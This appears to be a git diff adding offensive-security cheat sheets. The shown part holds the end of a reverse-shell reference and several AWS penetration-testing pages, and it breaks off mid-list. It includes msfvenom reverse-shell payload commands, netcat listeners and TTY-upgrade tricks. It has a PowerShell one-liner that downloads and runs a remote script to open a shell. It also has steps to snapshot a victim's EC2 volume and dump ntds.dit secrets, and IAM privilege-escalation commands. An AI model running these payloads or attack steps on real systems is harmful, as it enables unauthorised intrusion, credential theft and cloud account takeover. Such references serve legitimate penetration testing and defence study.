windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe +msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho +msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp +msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp +msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war +msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py +msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh +msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl +msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php +``` + +## Spawn TTY Shell + +In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`. + +```powershell +rlwrap nc 10.0.0.1 4242 + +rlwrap -r -f . nc 10.0.0.1 4242 +-f . will make rlwrap use the current history file as a completion word list. +-r Put all words seen on in- and output on the completion list. +``` + +Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell. + +:warning: OhMyZSH might break this trick, a simple `sh` is recommended + +> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect + +```powershell +ctrl+z +echo $TERM && tput lines && tput cols + +# for bash +stty raw -echo +fg + +# for zsh +stty raw -echo; fg + +reset +export SHELL=bash +export TERM=xterm-256color +stty rows columns +``` + +:warning: With Windows Terminal + WSL container, `[CTRL] + [Z]` can get you out of / freeze the container. +To overcome this issue, run `nc` in a `tmux`, and send a `SIGTSTP` signal to the `nc` process. + +```bash +# Enter in tmux +tmux + +# Do your netcat stuff ... +nc -lnvp 4242 + +# Create a new window in tmux +ctrl+b c + +# Find the PID of the nc process (column PID) +ps aux # | grep -i nc | grep -vi grep + +# Send a SIGTSTP (ctrl+z) signal to the process +kill -s TSTP +``` + +or use `socat` binary to get a fully tty reverse shell + +```bash +socat file:`tty`,raw,echo=0 tcp-listen:12345 +``` + +Alternatively, `rustcat` binary can automatically inject the TTY shell command. + +The shell will be automatically upgraded and the TTY size will be provided for manual adjustment. +Not only that, upon exiting the shell, the terminal will be reset and thus usable. + +```bash +stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 && reset +``` + +Spawn a TTY shell from an interpreter + +```powershell +/bin/sh -i +python3 -c 'import pty; pty.spawn("/bin/sh")' +python3 -c "__import__('pty').spawn('/bin/bash')" +python3 -c "__import__('subprocess').call(['/bin/bash'])" +perl -e 'exec "/bin/sh";' +perl: exec "/bin/sh"; +perl -e 'print `/bin/bash`' +ruby: exec "/bin/sh" +lua: os.execute('/bin/sh') +``` + +* vi: `:!bash` +* vi: `:set shell=/bin/bash:shell` +* nmap: `!sh` +* mysql: `! bash` + +Alternative TTY method + +```ps1 +www-data@debian:/dev/shm$ su - user +su: must be run from a terminal + +www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null +www-data@debian:/dev/shm$ su - user +Password: P4ssW0rD + +user@debian:~$ +``` + +## Fully interactive reverse shell on Windows + +The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. + +**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).** + +Server Side: + +```ps1 +stty raw -echo; (stty size; cat) | nc -lvnp 3001 +``` + +Client Side: + +```ps1 +IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001 +``` + +Offline version of the ps1 available at --> [antonioCoco/ConPtyShell/Invoke-ConPtyShell.ps1](https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1) + +## References + +* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner) +* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) +* [Spawning a TTY Shell](http://netsec.ws/?p=337) +* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell) diff --git a/personas/_shared/internal-allthethings/cloud/.gitkeep b/personas/_shared/internal-allthethings/cloud/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-access-token.md b/personas/_shared/internal-allthethings/cloud/aws/aws-access-token.md new file mode 100644 index 0000000..9e9b71e --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-access-token.md @@ -0,0 +1,102 @@ +# AWS - Access Token & Secrets + +## URL Services + +| Service | URL | +|--------------|-----------------------| +| s3 | `https://{user_provided}.s3.amazonaws.com` | +| cloudfront | `https://{random_id}.cloudfront.net` | +| ec2 | `https://ec2-{ip-seperated}.compute-1.amazonaws.com` | +| es | `https://{user_provided}-{random_id}.{region}.es.amazonaws.com` | +| elb | `http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443` | +| elbv2 | `https://{user_provided}-{random_id}.{region}.elb.amazonaws.com` | +| rds | `mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306` | +| rds | `postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432` | +| route 53 | `{user_provided}` | +| execute-api | `https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}` | +| cloudsearch | `https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com` | +| transfer | `sftp://s-{random_id}.server.transfer.{region}.amazonaws.com` | +| iot | `mqtt://{random_id}.iot.{region}.amazonaws.com:8883` | +| iot | `https://{random_id}.iot.{region}.amazonaws.com:8443` | +| iot | `https://{random_id}.iot.{region}.amazonaws.com:443` | +| mq | `https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162` | +| mq | `ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617` | +| kafka | `b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com` | +| kafka | `{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com` | +| cloud9 | `https://{random_id}.vfs.cloud9.{region}.amazonaws.com` | +| mediastore | `https://{random_id}.data.mediastore.{region}.amazonaws.com` | +| kinesisvideo | `https://{random_id}.kinesisvideo.{region}.amazonaws.com` | +| mediaconvert | `https://{random_id}.mediaconvert.{region}.amazonaws.com` | +| mediapackage | `https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel` | + +## Access Key ID & Secret + +IAM uses the following prefixes to indicate what type of resource each unique ID applies to. The first four characters are the prefix that depends on the type of the key. + +| Prefix | Resource type | +|--------------|-------------------------| +| ABIA | AWS STS service bearer token | +| ACCA | Context-specific credential | +| AGPA | User group | +| AIDA | IAM user | +| AIPA | Amazon EC2 instance profile | +| AKIA | Access key | +| ANPA | Managed policy | +| ANVA | Version in a managed policy | +| APKA | Public key | +| AROA | Role | +| ASCA | Certificate | +| ASIA | Temporary (AWS STS) access key | + +The rest of the string is Base32 encoded and can be used to recover the account id. + +```py +import base64 +import binascii + +def AWSAccount_from_AWSKeyID(AWSKeyID): + + trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix + x = base64.b32decode(trimmed_AWSKeyID) #base32 decode + y = x[0:6] + + z = int.from_bytes(y, byteorder='big', signed=False) + mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) + + e = (z & mask)>>7 + return (e) + + +print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) +``` + +## Regions + +* US Standard - [s3.amazonaws.com](http://s3.amazonaws.com) +* Ireland - [s3-eu-west-1.amazonaws.com](http://s3-eu-west-1.amazonaws.com) +* Northern California - [s3-us-west-1.amazonaws.com](http://s3-us-west-1.amazonaws.com) +* Singapore - [s3-ap-southeast-1.amazonaws.com](http://s3-ap-southeast-1.amazonaws.com) +* Tokyo - [s3-ap-northeast-1.amazonaws.com](http://s3-ap-northeast-1.amazonaws.com) + +## Gaining AWS Console Access via API Keys + +A utility to convert your AWS CLI credentials into AWS console access. + +* Using [NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) + + ```powershell + $> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED] + 2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments... + 2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic. + 2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established. + 2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session. + 2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established. + 2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler. + 2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated! + https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED] + ``` + +## References + +* [A short note on AWS KEY ID - Tal Be'ery - Oct 27, 2023](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) +* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-cli.md b/personas/_shared/internal-allthethings/cloud/aws/aws-cli.md new file mode 100644 index 0000000..52f7815 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-cli.md @@ -0,0 +1,70 @@ +# AWS - CLI + +The AWS Command Line Interface (CLI) is a unified tool to manage AWS services from the command line. Using the AWS CLI, you can control multiple AWS services, automate tasks, and manage configurations through profiles. + +## Set up AWS CLI + +Install AWS CLI and configure it for the first time: + +```ps1 +aws configure +``` + +This will prompt for: + +* AWS Access Key ID +* AWS Secret Access Key +* Default region name +* Default output format + +## Creating Profiles + +You can configure multiple profiles in `~/.aws/credentials` and `~/.aws/config`. + +* `~/.aws/credentials` (stores credentials) + + ```ini + [default] + aws_access_key_id = + aws_secret_access_key = + + [dev-profile] + aws_access_key_id = + aws_secret_access_key = + + [prod-profile] + aws_access_key_id = + aws_secret_access_key = + ``` + +* `~/.aws/config` (stores region and output settings) + + ```ini + [default] + region = us-east-1 + output = json + + [profile dev-profile] + region = us-west-2 + output = yaml + + [profile prod-profile] + region = eu-west-1 + output = json + ``` + +You can also create profiles via the command line: + +```ps1 +aws configure --profile dev-profile +``` + +## Using Profiles + +When running AWS CLI commands, you can specify which profile to use by adding the `--profile` flag: + +```ps1 +aws s3 ls --profile dev-profile +``` + +If no profile is specified, the **default** profile is used. diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-cognito.md b/personas/_shared/internal-allthethings/cloud/aws/aws-cognito.md new file mode 100644 index 0000000..5cff17d --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-cognito.md @@ -0,0 +1,85 @@ +# AWS - Service - Cognito + +AWS Cognito is an AWS-managed service for authentication, authorization, and user management. + +1. A user signs in through Cognito User Pools (authentication) or via a federated IdP (Google, Facebook, SAML, etc.). +2. Cognito Identity Pools can then exchange this identity for temporary AWS credentials (from STS — Security Token Service). +3. These credentials (Access Key ID, Secret Access Key, and Session Token) let the app directly call AWS services (e.g., S3, DynamoDB, API Gateway) with limited IAM roles/policies. + +## Tools + +* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - A CLI tool for executing attacks on cognito such as *Unwanted account creation*, *Account Oracle* and *Identity Pool escalation*. + + ```ps1 + # Installation + $ pip install cognito-scanner + # Usage + $ cognito-scanner --help + # Get information about how to use the unwanted account creation script + $ cognito-scanner account-creation --help + # For more details go to https://github.com/padok-team/cognito-scanner + ``` + +## Identity Pool ID + +* **User Pools** : User pools allow sign-in and sign-up functionality +* **Identity Pools** : Identity pools allow authenticated and unauthenticated users to access AWS resources using temporary credentials + +Once you have the Cognito Identity Pool Id token, you can proceed further and fetch Temporary AWS Credentials for an unauthenticated role using the identified tokens. + +```py +import boto3 + +region='us-east-1' +identity_pool='us-east-1:5280c436-2198-2b5a-b87c-9f54094x8at9' + +client = boto3.client('cognito-identity',region_name=region) +_id = client.get_id(IdentityPoolId=identity_pool) +_id = _id['IdentityId'] + +credentials = client.get_credentials_for_identity(IdentityId=_id) +access_key = credentials['Credentials']['AccessKeyId'] +secret_key = credentials['Credentials']['SecretKey'] +session_token = credentials['Credentials']['SessionToken'] +identity_id = credentials['IdentityId'] +print("Access Key: " + access_key) +print("Secret Key: " + secret_key) +print("Session Token: " + session_token) +print("Identity Id: " + identity_id) +``` + +## AWS Cognito Commands + +### Get User Information + +```ps1 +aws cognito-idp get-user --access-token $(cat access_token.txt) +``` + +### Admin Authentication + +```ps1 +aws cognito-idp admin-initiate-auth --access-token $(cat access_token) +``` + +### List User Groups + +```ps1 +aws cognito-idp admin-list-groups-for-user --username user.name@email.com --user-pool-id "Group-Name" +``` + +### Sign up + +```ps1 +aws cognito-idp sign-up --client-id --username --password +``` + +### Modify Attributes + +```ps1 +aws cognito-idp update-user-attributes --access-token $(cat access_token) --user-attributes Name=,Value= +``` + +## References + +* [Exploiting weak configurations in Amazon Cognito - Pankaj Mouriya - April 6, 2021](https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-dynamodb.md b/personas/_shared/internal-allthethings/cloud/aws/aws-dynamodb.md new file mode 100644 index 0000000..f4d3b6f --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-dynamodb.md @@ -0,0 +1,34 @@ +# AWS - Service - DynamoDB + +> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second. + +## List Tables + +```bash +$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables + +{ + "TableNames": [ + "users" + ] +} +``` + +## Enumerate Table Content + +```bash +$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]' + +{ + "password": { + "S": "Management@#1@#" + }, + "username": { + "S": "Mgmt" + } +} +``` + +## References + +* [Amazon DynamoDB Documentation - AWS](https://docs.aws.amazon.com/dynamodb/) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-ec2.md b/personas/_shared/internal-allthethings/cloud/aws/aws-ec2.md new file mode 100644 index 0000000..a4713d0 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-ec2.md @@ -0,0 +1,125 @@ +# AWS - Service - EC2 + +* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS's "public" mode + +## Listing Information About EC2 + +```ps1 +aws ec2 describe-instances +aws ec2 describe-instances --region region +aws ec2 describe-instances --instance-ids ID +``` + +## Copy EC2 using AMI Image + +First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1` + +```powershell +# create a new image for the instance-id +$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1 + +# add key to AWS +$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1 + +# create ec2 using the previously created AMI, use the same security group and subnet to connect easily. +$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1 + +# now you can check the instance +aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 + +# If needed : edit groups +aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1 + +# be a good guy, clean our instance to avoid any useless cost +aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 +aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 +``` + +## Mount EBS volume to EC2 Linux + +:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken. + +1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type. +2. Select the created volume, right click and select the "attach volume" option. +3. Select the instance from the instance text box as shown below : `attach ebs volume` + + ```powershell + aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone + aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device + ``` + +4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk` +5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf` +6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf` +7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume` +8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/` +9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .` + +## Shadow Copy attack + +**Requirements**: + +* EC2:CreateSnapshot +* [Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) + +**Exploit**: + +1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions +2. Run `"Describe-Instances"` and show in list for attacker to select +3. Run `"Create-Snapshot"` on volume of selected instance +4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account +5. Load AWS CLI with Attacker Credentials +6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot +7. Ssh run `"sudo mkdir /windows"` +8. Ssh run `"sudo mount /dev/xvdf1 /windows/"` +9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"` +10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"` +11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"` +12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"` +13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"` +14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path + +## Access Snapshots + +1. Get the `owner-id` + + ```powershell + $ aws --profile flaws sts get-caller-identity + "Account": "XXXX26262029", + ``` + +2. List snapshots + + ```powershell + $ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2 + "SnapshotId": "snap-XXXX342abd1bdcb89", + ``` + +3. Create a volume using the previously obtained `snapshotId` + + ```powershell + aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89 + ``` + +4. In AWS console, deploy a new EC2 Ubuntu based, attach the volume and then mount it on the machine. + + ```ps1 + ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com + lsblk + sudo file -s /dev/xvda1 + sudo mount /dev/xvda1 /mnt + ``` + +## Instance Connect + +Push an SSH key to EC2 instance + +```powershell +# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/ +$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}" +$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds +``` + +## References + +* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-enumeration.md b/personas/_shared/internal-allthethings/cloud/aws/aws-enumeration.md new file mode 100644 index 0000000..0453e12 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-enumeration.md @@ -0,0 +1,127 @@ +# AWS - Enumerate + +## Collectors + +* [nccgroup/ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool + + ```powershell + $ python scout.py PROVIDER --help + # The --session-token is optional and only used for temporary credentials (i.e. role assumption). + $ python scout.py aws --access-keys --access-key-id --secret-access-key --session-token + $ python scout.py azure --cli + ``` + +* [RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set + + ```powershell + $ bash install.sh + $ python3 pacu.py + set_keys/swap_keys + run [--keyword-arguments] + run --regions eu-west-1,us-west-1 + ``` + +* [salesforce/cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report + + ```powershell + pip3 install --user cloudsplaining + cloudsplaining download --profile myawsprofile + cloudsplaining scan --input-file default.json + ``` + +* [duo-labs/cloudmapper](https://github.com/duo-labs/cloudmapper) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments + + ```powershell + sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli build-essential + pipenv install --skip-lock + pipenv shell + report: Generate HTML report. Includes summary of the accounts and audit findings. + iam_report: Generate HTML report for the IAM information of an account. + audit: Check for potential misconfigurations. + collect: Collect metadata about an account. + find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges + ``` + +* [cyberark/SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins + + ```powershell + $ powershell -ExecutionPolicy Bypass -NoProfile + PS C> Import-Module .\SkyArk.ps1 -force + PS C> Start-AWStealth + PS C> Scan-AWShadowAdmins + ``` + +* [BishopFox/CloudFox](https://github.com/BishopFox/CloudFox/) - Automating situational awareness for cloud penetration tests. Designed for white box enumeration (SecurityAudit/ReadOnly type permission), but can be used for black box (found credentials) as well. + + ```ps1 + cloudfox aws --profile [profile-name] all-checks + ``` + +* [toniblyx/Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100). + + ```powershell + pip install awscli ansi2html detect-secrets + sudo apt install jq + ./prowler -E check42,check43 + ./prowler -p custom-profile -r us-east-1 -c check11 + ./prowler -A 123456789012 -R ProwlerRole + ``` + +* [nccgroup/PMapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS + + ```powershell + pip install principalmapper + pmapper graph --create + pmapper visualize --filetype png + pmapper analysis --output-type text + + # Determine if PowerUser can escalate privileges + pmapper query "preset privesc user/PowerUser" + pmapper argquery --principal user/PowerUser --preset privesc + + # Find all principals that can escalate privileges + pmapper query "preset privesc *" + pmapper argquery --principal '*' --preset privesc + + # Find all principals that PowerUser can access + pmapper query "preset connected user/PowerUser *" + pmapper argquery --principal user/PowerUser --resource '*' --preset connected + + # Find all principals that can access PowerUser + pmapper query "preset connected * user/PowerUser" + pmapper argquery --principal '*' --resource user/PowerUser --preset connected + ``` + +## AWS - Enumerate IAM permissions + +Enumerate the permissions associated with AWS credential set with [andresriancho/enumerate-iam](https://github.com/andresriancho/enumerate-iam) + +```powershell +git clone git@github.com:andresriancho/enumerate-iam.git +pip install -r requirements.txt +./enumerate-iam.py --access-key AKIA... --secret-key StF0q... +2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..." +2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked! +2019-05-10 15:58:01,537 - 21345 - [INFO] -- { + "RoleDetailList": [ + { + "Tags": [], + "AssumeRolePolicyDocument": { + "Version": "2008-10-17", + "Statement": [ + { +... +2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked! +2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked! +2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked! +2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked! +2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked! +``` + +## References + +* [An introduction to penetration testing AWS - Akimbocore - HollyGraceful - 06 August 2021](https://akimbocore.com/article/introduction-to-penetration-testing-aws/) +* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b) +* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35) +* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) +* [PACU Spencer Gietzen - 30 juil. 2018](https://youtu.be/XfetW1Vqybw?list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-iam.md b/personas/_shared/internal-allthethings/cloud/aws/aws-iam.md new file mode 100644 index 0000000..bc0b7ee --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-iam.md @@ -0,0 +1,162 @@ +# AWS - Identity & Access Management + +## Listing IAM access Keys + +```ps1 +aws iam list-access-keys +``` + +## Listing IAM Users and Groups + +```ps1 +aws iam list-users +aws iam list-groups +``` + +## Get IAM Details + +```ps1 +aws iam get-account-authorization-details > iam.json +``` + +## Assume a Specific Role + +```ps1 +aws sts assume-role --role-arn arn:aws:iam::${accountId}:role/${roleName} --role-session-name ${roleName} +``` + +## Login with MFA + +Retrieve the MFA device ARN: + +```ps1 +aws iam list-mfa-devices +``` + +Then create the session token: + +```ps1 +aws sts get-session-token --serial-number ${arnMFADevice} --token-code ${MFACode} +``` + +## Shadow Admin + +### Admin equivalent permission + +- AdministratorAccess + + ```powershell + "Action": "*" + "Resource": "*" + ``` + +- **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance + + ```powershell + aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789 + ``` + +- **iam:CreateAccessKey** : create a new access key to another IAM admin account + + ```powershell + aws iam create-access-key –user-name target_user + ``` + +- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it + + ```powershell + aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required + ``` + +- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords. + + ```powershell + aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required + ``` + +- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses + + ```powershell + aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess + aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess + aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess + ``` + +- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities. + + ```powershell + aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json + ``` + +- **iam:CreatePolicy** : add a stealthy admin policy +- **iam:AddUserToGroup** : add into the admin group of the organization. + + ```powershell + aws iam add-user-to-group –group-name target_group –user-name my_username + ``` + +- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account. + + ```powershell + aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json + ``` + +- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one. + + ```powershell + aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default + aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2 + ``` + +- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function. + + ```powershell + aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip + ``` + +- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint. + + ```powershell + aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub + ``` + +- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses. + +- **iam:PassRole** + 